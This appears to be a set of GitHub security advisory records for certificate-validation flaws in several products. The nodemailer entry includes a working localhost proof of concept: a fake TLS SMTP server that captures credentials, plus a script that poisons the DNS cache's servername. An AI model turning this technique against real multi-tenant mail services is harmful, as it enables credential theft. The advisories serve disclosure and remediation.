CWE-295

{
  "affected": [],
  "aliases": [
    "CVE-2025-11633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-12T12:15:53Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in Tomofun Furbo 360 and Furbo Mini. Affected by this issue is some unknown functionality of the component HTTP Traffic Handler. The manipulation leads to improper certificate validation. The attack may be initiated remotely. The attack is considered to have high complexity. The exploitation is known to be difficult. The firmware versions determined to be affected are Furbo 360 up to FB0035_FW_036 and Furbo Mini up to MC0020_FW_074. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-6rrj-c3mx-rv2m",
  "modified": "2025-10-12T12:30:22Z",
  "published": "2025-10-12T12:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11633"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.328044"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.328044"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.661352"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "ezsystems/ezplatform-admin-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.5.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-01T12:56:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Certificate validation in node-sass 2.0.0 to 4.14.1 is disabled when requesting binaries even if the user is not specifying an alternative download path. This affects eZ Platform v2.5 only. The maintainers resolved it by replacing node-sass 4.11 with sass 1.32.13. This issue also affects ezsystems/ezplatform and ezsystems/ezplatform-page-builder.",
  "id": "GHSA-6v6p-g8cg-2hgg",
  "modified": "2022-04-01T12:56:28Z",
  "published": "2022-04-01T12:56:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ezsystems/ezplatform-admin-ui/security/advisories/GHSA-6v6p-g8cg-2hgg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24025"
    },
    {
      "type": "WEB",
      "url": "https://developers.ibexa.co/security-advisories/ibexa-sa-2022-002-vulnerability-in-node-sass"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r8f7-9pfq-mjmv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ezsystems/ezplatform-admin-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ezsystems/ezplatform-admin-ui/releases/tag/v1.5.27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Certificate Validation in node-sass affects eZ Platform"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-77816"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-13T21:18:21Z",
    "severity": "MODERATE"
  },
  "details": "IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.9 administrative client could allow man-in-the-middle attacks. An attacker could exploit this vulnerability to obtain sensitive information.",
  "id": "GHSA-6v8r-r3rp-wwmm",
  "modified": "2026-10-13T21:37:31Z",
  "published": "2026-10-13T21:37:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77816"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7291394"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-11674"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-22T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Man-in-the-middle vulnerability in Micro Focus Self Service Password Reset, affecting all versions prior to 4.4.0.4. The vulnerability could exploit invalid certificate validation and may result in a man-in-the-middle attack.",
  "id": "GHSA-6vcj-r95x-wj5w",
  "modified": "2024-04-04T02:32:25Z",
  "published": "2022-05-24T16:59:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11674"
    },
    {
      "type": "WEB",
      "url": "https://www.netiq.com/documentation/self-service-password-reset-44/release-notes-sspr-44-p4/data/release-notes-sspr-44-p4.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "10.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T21:56:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nNodemailer\u0027s process-global DNS cache is keyed only by `host`, but each cache entry also stores the caller-specific TLS `servername`. When two direct SMTPS transports use the same DNS host with different `tls.servername` values, the first transport\u0027s server name is returned to the second transport and overwrites its explicitly configured value.\n\nAs a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker\u0027s TLS virtual host, accepts the attacker\u0027s certificate with `rejectUnauthorized: true`, and sends the victim\u0027s SMTP credentials to it.\n\n## Affected component\n\n- **Ecosystem:** npm\n- **Package:** `nodemailer`\n- **Repository:** https://github.com/nodemailer/nodemailer\n- **Tested version:** `10.0.1`\n- **Tested commit:** `40d52215aac65b811d7e131bc916f68605efd9d2`\n- **Runtime-confirmed vulnerable versions:** `5.0.0` and `10.0.1`\n- **Affected versions:** `\u003e= 5.0.0, \u003c= 10.0.1`\n- **Patched versions:** None known at the time of this report\n- **Affected mode:** Direct TLS/SMTPS connections (`secure: true`) where different transports use the same non-IP `host` and different TLS `servername` values\n\nThe vulnerable cache implementation was introduced in commit `6859b5dd96c8d9f0070a3169a877181b71df4a3b` on 2018-12-28. Git history shows `v5.0.0` as the first release tag containing that commit. The behavior remains present in `v10.0.1`.\n\n## Details\n\n### Root cause\n\n`src/shared/index.ts` defines one module-global DNS cache, keyed only by the DNS host:\n\n```ts\nexport const dnsCache = new Map\u003cstring, DnsCacheEntry\u003e();\n```\n\nAlthough the cache key contains only `host`, the cached value contains both DNS addresses and the request-specific TLS identity:\n\n```ts\nconst value: DnsCacheValue = {\n    addresses: allAddresses,\n    servername: options.servername || host\n};\n\ndnsCache.set(host, {\n    value,\n    expires: Date.now() + (options.dnsTtl || DNS_TTL)\n});\n```\n\nOn a cache hit, `resolveHostname()` returns the cached `servername` without considering the current call\u0027s `options.servername`:\n\n```ts\nif (!cached.expires || cached.expires \u003e= now) {\n    return callback(\n        null,\n        formatDNSValue(cached.value, {\n            cached: true\n        })\n    );\n}\n```\n\n`formatDNSValue()` copies that stale value into the result:\n\n```ts\nreturn Object.assign(\n    {\n        servername: value.servername,\n        host,\n        _addresses: addresses\n    },\n    extra || {}\n);\n```\n\nFor a direct TLS connection, `SMTPConnection.connect()` initially copies the current transport\u0027s TLS configuration into `opts`. `_resolveAndConnect()` then overwrites every truthy field with the cached resolver result, including `opts.servername`:\n\n```ts\nObject.assign(opts, this.options.tls || {});\n\nif (this.servername \u0026\u0026 !opts.servername) {\n    opts.servername = this.servername;\n}\n\nreturn this._resolveAndConnect(opts, resolved =\u003e {\n    this._connectToHost(opts, this.secureConnection);\n});\n```\n\n```ts\nfor (const key of Object.keys(resolved!)) {\n    if (key.charAt(0) !== \u0027_\u0027 \u0026\u0026 (resolved as { [key: string]: any })[key]) {\n        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];\n    }\n}\n```\n\nThe resulting `opts` object is passed to `tls.connect()`. Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.\n\nThe default DNS cache TTL is five minutes:\n\n```ts\nconst DNS_TTL = 5 * 60 * 1000;\n```\n\n### Code path\n\n```text\nTenant A: createTransport({ host: H, secure: true,\n                            tls: { servername: attackerName } })\n  -\u003e SMTPConnection.connect()\n  -\u003e _resolveAndConnect(opts)\n  -\u003e shared.resolveHostname({ host: H, servername: attackerName })\n  -\u003e dnsCache.set(H, { addresses, servername: attackerName })\n\nVictim: createTransport({ host: H, secure: true,\n                          tls: { servername: victimName } })\n  -\u003e SMTPConnection.connect()\n  -\u003e opts.servername = victimName\n  -\u003e _resolveAndConnect(opts)\n  -\u003e shared.resolveHostname({ host: H, servername: victimName })\n  -\u003e dnsCache.get(H)\n  -\u003e returns cached servername = attackerName\n  -\u003e _resolveAndConnect overwrites opts.servername\n  -\u003e tls.connect({ servername: attackerName })\n  -\u003e attacker SNI virtual host and certificate are selected\n  -\u003e AUTH transmits victim SMTP credentials\n```\n\n### Relevant source locations in the tested revision\n\n- `src/shared/index.ts:184` \u2014 five-minute default cache TTL\n- `src/shared/index.ts:245` \u2014 process-global cache keyed by host\n- `src/shared/index.ts:247-262` \u2014 cached `servername` returned by `formatDNSValue()`\n- `src/shared/index.ts:292-323` \u2014 host-only lookup and cache-hit return\n- `src/shared/index.ts:350-359` \u2014 caller-specific `servername` stored in host-only cache\n- `src/smtp-connection/index.ts:713-729` \u2014 direct TLS options and resolver call\n- `src/smtp-connection/index.ts:741-763` \u2014 cached fields overwrite current connection options\n\n## PoC\n\n### Prerequisites\n\n- Node.js 20 (tested with Node.js `20.20.2`)\n- A checkout/build of Nodemailer `10.0.1`\n- OpenSSL to generate the local test certificate\n\nNo external SMTP server or network access is required.\n\n### 1. Generate a certificate for only `attacker.test`\n\nCreate `openssl.cnf`:\n\n```ini\n[req]\ndistinguished_name = dn\nx509_extensions = ext\nprompt = no\n\n[dn]\nCN = attacker.test\n\n[ext]\nsubjectAltName = DNS:attacker.test\nbasicConstraints = critical,CA:TRUE\nkeyUsage = critical,digitalSignature,keyEncipherment,keyCertSign\nextendedKeyUsage = serverAuth\n```\n\nGenerate the certificate and private key:\n\n```bash\nopenssl req -x509 -newkey rsa:2048 -nodes -days 1 \\\n  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf\n```\n\n### 2. Save the following as `poc-dns-cache-servername-confusion.mjs`\n\nAdjust the two import paths if the PoC is not saved beside the repository checkout.\n\n```js\nimport fs from \u0027node:fs\u0027;\nimport tls from \u0027node:tls\u0027;\nimport nodemailer from \u0027../../nodemailer/dist/esm/nodemailer.js\u0027;\nimport * as shared from \u0027../../nodemailer/dist/esm/shared/index.js\u0027;\n\nconst cert = fs.readFileSync(new URL(\u0027./tls-fixture/attacker-cert.pem\u0027, import.meta.url));\nconst key = fs.readFileSync(new URL(\u0027./tls-fixture/attacker-key.pem\u0027, import.meta.url));\nconst observedSni = [];\nconst observedAuth = [];\n\nconst server = tls.createServer({ key, cert }, socket =\u003e {\n    observedSni.push(socket.servername);\n    socket.write(\u0027220 attacker.test ESMTP\\r\\n\u0027);\n    let input = \u0027\u0027;\n    socket.on(\u0027data\u0027, chunk =\u003e {\n        input += chunk.toString();\n        let end;\n        while ((end = input.indexOf(\u0027\\r\\n\u0027)) \u003e= 0) {\n            const line = input.slice(0, end);\n            input = input.slice(end + 2);\n            if (/^EHLO /i.test(line)) {\n                socket.write(\u0027250-attacker.test\\r\\n250 AUTH PLAIN\\r\\n\u0027);\n            } else if (/^AUTH /i.test(line)) {\n                observedAuth.push(line);\n                socket.write(\u0027235 2.7.0 Authentication successful\\r\\n\u0027);\n            } else if (/^QUIT/i.test(line)) {\n                socket.end(\u0027221 Bye\\r\\n\u0027);\n            } else {\n                socket.write(\u0027250 OK\\r\\n\u0027);\n            }\n        }\n    });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\ntry {\n    shared.dnsCache.clear();\n\n    // Tenant A seeds the process-global cache for the shared DNS host.\n    const attackerTransport = nodemailer.createTransport({\n        host: \u0027localhost\u0027,\n        port: server.address().port,\n        secure: true,\n        auth: { user: \u0027attacker@example.test\u0027, pass: \u0027attacker-secret\u0027 },\n        tls: {\n            ca: cert,\n            servername: \u0027attacker.test\u0027,\n            rejectUnauthorized: true\n        }\n    });\n    await attackerTransport.verify();\n    attackerTransport.close();\n\n    // The victim explicitly configures a different TLS identity.\n    const victimTransport = nodemailer.createTransport({\n        host: \u0027localhost\u0027,\n        port: server.address().port,\n        secure: true,\n        auth: { user: \u0027victim@example.test\u0027, pass: \u0027victim-secret\u0027 },\n        tls: {\n            ca: cert,\n            servername: \u0027victim.test\u0027,\n            rejectUnauthorized: true\n        }\n    });\n    await victimTransport.verify();\n    victimTransport.close();\n\n    const decoded = observedAuth.map(line =\u003e\n        line.startsWith(\u0027AUTH PLAIN \u0027)\n            ? Buffer.from(line.slice(\u0027AUTH PLAIN \u0027.length), \u0027base64\u0027).toString()\n            : null\n    );\n\n    console.log(JSON.stringify({\n        attackerConfiguredServername: \u0027attacker.test\u0027,\n        victimConfiguredServername: \u0027victim.test\u0027,\n        serverObservedSniForBothConnections: observedSni,\n        serverReceivedCredentials: decoded\n    }, null, 2));\n} finally {\n    shared.dnsCache.clear();\n    await new Promise(resolve =\u003e server.close(resolve));\n}\n```\n\n### 3. Build and run\n\nFrom the Nodemailer checkout:\n\n```bash\nnpm install\nnpm run build\nnode ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs\n```\n\n### Observed result\n\n```json\n{\n  \"attackerConfiguredServername\": \"attacker.test\",\n  \"victimConfiguredServername\": \"victim.test\",\n  \"serverObservedSniForBothConnections\": [\n    \"attacker.test\",\n    \"attacker.test\"\n  ],\n  \"serverReceivedCredentials\": [\n    \"\\\\u0000attacker@example.test\\\\u0000attacker-secret\",\n    \"\\\\u0000victim@example.test\\\\u0000victim-secret\"\n  ]\n}\n```\n\nThe victim configured `victim.test`, but the server observes `attacker.test` for both handshakes. The local certificate contains only `attacker.test`, yet the victim connection succeeds with `rejectUnauthorized: true` and then sends the victim\u0027s username and password.\n\n### Expected result\n\nThe second connection must use `victim.test` for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as `attacker.test`.\n\n## Impact\n\nThe vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS `host`. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname.\n\nAn attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker\u0027s `tls.servername`. During the cache lifetime, a victim\u0027s direct SMTPS connection to that host can:\n\n1. send the attacker\u0027s server name as SNI;\n2. be routed to the attacker\u0027s TLS virtual host;\n3. validate the attacker\u0027s certificate against the stale name, even though strict certificate validation is enabled; and\n4. transmit the victim\u0027s SMTP username and password to that endpoint.\n\nPossession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider.\n\nWhere the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact.\n\n### Preconditions and limitations\n\n- Two transports must execute in the same Node.js process within the cache lifetime.\n- They must use the same non-IP `host` cache key and different `tls.servername` values.\n- Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name.\n- The demonstrated path uses direct SMTPS (`secure: true`). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report.\n\n## Suggested remediation\n\nThe DNS cache should store DNS data only. `servername` is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname.\n\nOne approach is to remove `servername` from `DnsCacheValue` and derive the returned value from the current request on every path:\n\n```ts\nreturn {\n    host: selectedAddress,\n    servername: options.servername || options.host || false,\n    _addresses: addresses,\n    cached: true\n};\n```\n\nAs defense in depth, `_resolveAndConnect()` should not overwrite an explicitly configured `opts.servername` with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation.\n\nA regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.",
  "id": "GHSA-6vj9-mwq6-2f5v",
  "modified": "2026-09-28T21:56:06Z",
  "published": "2026-09-28T21:56:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-6vj9-mwq6-2f5v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/releases/tag/v10.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer: Process-global DNS cache reuses TLS `servername` across transports, enabling cross-tenant SMTP credential disclosure"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-27323"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-01T22:15:15Z",
    "severity": "HIGH"
  },
  "details": "PDF-XChange Editor Updater Improper Certificate Validation Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of PDF-XChange Editor. User interaction is not required to exploit this vulnerability.\n\nThe specific flaw exists within the update functionality. The issue results from the lack of proper validation of the certificate presented by the server. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-22224.",
  "id": "GHSA-6wrg-cr3c-h2hf",
  "modified": "2024-04-02T00:30:46Z",
  "published": "2024-04-02T00:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27323"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-198"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/in-toto/go-witness"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-15T20:12:56Z",
    "nvd_published_at": "2025-10-15T20:15:36Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThis vulnerability only affects users of the AWS attestor.\n\nUsers of the AWS attestor could have unknowingly received a forged identity document. While this may seem unlikely, AWS recently issued a security bulletin about IMDS (Instance Metadata Service) impersonation.[^1]\n\nThere are multiple locations where the verification of the identity document will mistakenly report a successful verification.\n\n- If a signature is not present or is empty\nhttps://github.com/in-toto/go-witness/blob/0c8bb30c143951d88b1d4b32f260c5f67d30137b/attestation/aws-iid/aws-iid.go#L161-L163\n\n- If the RSA verification of the document fails for any reason\nhttps://github.com/in-toto/go-witness/blob/0c8bb30c143951d88b1d4b32f260c5f67d30137b/attestation/aws-iid/aws-iid.go#L192-L196\n\n### Workarounds\nThe contents of the AWS attestation contain the identity document, signature, and public key that was used to verify the document. These attestations and their could be identity documents could be manually verified with the `openssl` command line as documented in the below reference from AWS.[^2]\n\nHowever, the certificate containing the public key was hard-coded into the attestor. \nhttps://github.com/in-toto/go-witness/blob/0c8bb30c143951d88b1d4b32f260c5f67d30137b/attestation/aws-iid/aws-iid.go#L46-L66\n\nSince the original authoring of the attestor, AWS has moved to region specific public certificates. The currently valid certificates were issued around April of 2024, making the identification of attestations with forged content difficult without additional trusted data proving the AWS region in which the attestation was created.\n\n### Patches\nThis vulnerability is addressed in `go-witness` 0.9.1 and `witness` 0.10.1.\n\n### Resources\n[^1]: [AWS Security Bulletin on IMDS Impersonation](https://aws.amazon.com/security/security-bulletins/rss/aws-2025-021/)\n[^2]: [Verification of instance identity documents](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/verify-iid.html#verify-signature)",
  "id": "GHSA-72c7-4g63-hpw5",
  "modified": "2025-10-16T14:43:47Z",
  "published": "2025-10-15T20:12:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/in-toto/go-witness/security/advisories/GHSA-72c7-4g63-hpw5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62375"
    },
    {
      "type": "WEB",
      "url": "https://github.com/in-toto/go-witness/commit/04ff20b600e28ce8fd1aa287534dd383a1cfefb9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/in-toto/go-witness"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "go-witness is Vulnerable to Improper Verification of AWS EC2 Identity Documents"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-87872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T17:17:52Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the OCAPI modules (ocapi_command, ocapi_info) of the\ncommunity.general Ansible collection. The shared OCAPI request helper disables\nTLS certificate validation on every request and the modules expose no parameter\nto re-enable it, while sending HTTP Basic-Auth credentials to an https endpoint.\nAn attacker positioned on the network path between the Ansible controller and the\nOCAPI-managed storage/enclosure device can present any certificate, intercept the\nsession, capture the credentials, and tamper with responses.",
  "id": "GHSA-72h7-pjj2-r4pr",
  "modified": "2026-09-09T18:32:05Z",
  "published": "2026-09-09T18:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87872"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-87872"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2530988"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "xmlhttprequest-ssl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-31597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-20T21:59:29Z",
    "nvd_published_at": "2021-04-23T00:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The xmlhttprequest-ssl package before 1.6.1 for Node.js disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected.",
  "id": "GHSA-72mh-269x-7mh5",
  "modified": "2021-05-20T21:59:29Z",
  "published": "2021-05-24T19:52:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31597"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mjwwit/node-XMLHttpRequest/commit/bf53329b61ca6afc5d28f6b8d2dc2e3ca740a9b2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mjwwit/node-XMLHttpRequest/compare/v1.6.0...1.6.1"
    },
    {
      "type": "WEB",
      "url": "https://people.kingsds.network/wesgarland/xmlhttprequest-ssl-vuln.txt"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210618-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Certificate Validation in xmlhttprequest-ssl"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-71290"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T21:17:51Z",
    "severity": "CRITICAL"
  },
  "details": "Improper TLS hostname verification vulnerability in Apache HttpComponents Client 5.4 or newer.\u00a0HostnameVerificationPolicy#BUILTIN setting has no effect when used with the async version of HttpClient. An attacker that can intercept and modify traffic between the client and\n the server can impersonate the server by presenting a valid certificate\n for a different domain.\u00a0\n\n\nPlease note the classic version of HttpClient is not affected by this vulnerability.\u00a0\n\nAffected users are recommended to upgrade to at least version 5.6.4, which fixes the issue.",
  "id": "GHSA-72q8-9rgw-5g6j",
  "modified": "2026-08-13T18:31:22Z",
  "published": "2026-08-11T21:33:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71290"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/bhf7g2zwpom2ohvwjjjlonc93br2s8vq"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/13/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}